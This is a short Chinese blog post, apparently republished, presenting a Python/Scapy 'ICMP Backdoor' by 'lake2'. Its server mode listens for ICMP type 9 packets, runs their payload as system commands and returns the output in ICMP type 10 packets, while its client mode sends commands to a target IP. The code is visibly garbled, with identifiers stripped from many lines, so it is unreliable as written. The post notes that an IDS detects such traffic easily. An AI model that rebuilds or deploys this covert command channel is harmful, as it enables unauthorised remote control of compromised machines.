2023年7月23日发(作者:)
Scapy是一个基于Python的数据包处理工具,你可以用它来抓包、构造包、发送包,实在是测试、学习、分析的必备良药,这里只是用它构造和捕获ICMP包的功能。
服务器上装好Scapy、Python、tcpdump,然后将以下代码保存为与Scapy放同一目录即可:
#!/bin/python
# ICMP Backdoor
# writen by lake2
import sys
import os
import time
from scapy import *
=0
def Sniffer():
re=sniff(filter="icmp and icmp[0]=9",count=1)
print("get command :"+re[0].load)
dstip=re[0].sprintf("%%")
cmd=(re[0].load).readlines()
cmd_result="".join(cmd)
(2)
print("return result "+cmd_result+" to "+dstip)
send(IP(dst=dstip)/ICMP(type=10)/Raw(load=cmd_result))
if(len() < 2):
print("ICMP Backdoor by lake2")
(1)
if([1]=="server"):
print("start server ...")
while(1):
Sniffer()
elif([1]=="client"):
if(len() != 4):
print("")
exit(1)
ip=[2]
command=[3]
print("send cmd to "+ip+" ...")
send(IP(dst=ip)/ICMP(type=9)/Raw(load=command))
print("wait server exec result")
re=sniff(filter="icmp and icmp[0]=10",count=1,timeout=10)
print(re[0].load)
else:
print("[ERROR] no type choose !") (1)
代码很简单,就是利用了ICMP协议的类型9和10来传输数据。检测起来也很容易,IDS直接会发现异常ICMP包。
用法很简单,服务端(被控制机器) server;客户端(控制端) client
非交互的,看看效果:
还有一些问题,不过这只是做个demo,就不管那么多啦。
发布者:admin,转转请注明出处:http://www.yc00.com/xiaochengxu/1690105923a306273.html
评论列表(0条)